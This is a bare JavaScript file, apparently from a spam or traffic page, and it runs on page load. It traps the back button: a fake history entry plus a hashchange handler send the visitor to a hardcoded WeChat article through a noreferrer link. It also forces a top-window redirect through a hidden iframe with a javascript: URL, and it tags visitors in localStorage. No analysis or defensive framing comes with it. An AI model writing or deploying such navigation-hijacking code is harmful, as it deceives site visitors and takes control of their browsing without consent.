function a(e) {
    var f = document.createElement('iframe');
    f.style.display = 'none';
    document.body.appendChild(f).src = 'javascript:"<script>top.location.replace(\'' + e + '\')<\/script>"';
}

function jump1() {
    if (!localStorage.is_fx) {
        localStorage.is_fx = Date.now()
    } else {
    }
}

function jump2() {
    gotoData = {
        "hb": "https://mp.weixin.qq.com/s/DhiMtvprg1JTiDTg51trFA",
        "hb1": "https://mp.weixin.qq.com/s/my3ZmuPktbfpw2txYgrubA",
    }
    if (gotoData[window.location.pathname] != undefined) {
        a(gotoData[window.location.pathname])
    } else {
        jump1()
    }
}

window.onhashchange = function () {
    jp();
};

function hh() {
    history.pushState(history.length + 1, "app", "#dt_" + new Date().getTime());
}


function jp() {
    var a = document.createElement('a');
    a.setAttribute('rel', 'noreferrer');
    a.setAttribute('href', "https://mp.weixin.qq.com/s/my3ZmuPktbfpw2txYgrubA");
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
}

window.onload = function () {
    setTimeout('hh();', 100);
    setTimeout(
        "var imgs = document.images;for (var t_i=0;t_i<imgs.length;t_i++) {if (imgs[t_i].attributes['d-s'] && imgs[t_i].attributes['d-s'].value) {imgs[t_i].src = imgs[t_i].attributes['d-s'].value;}}",
        100);
}
// jump2()
window.onpageshow = jump2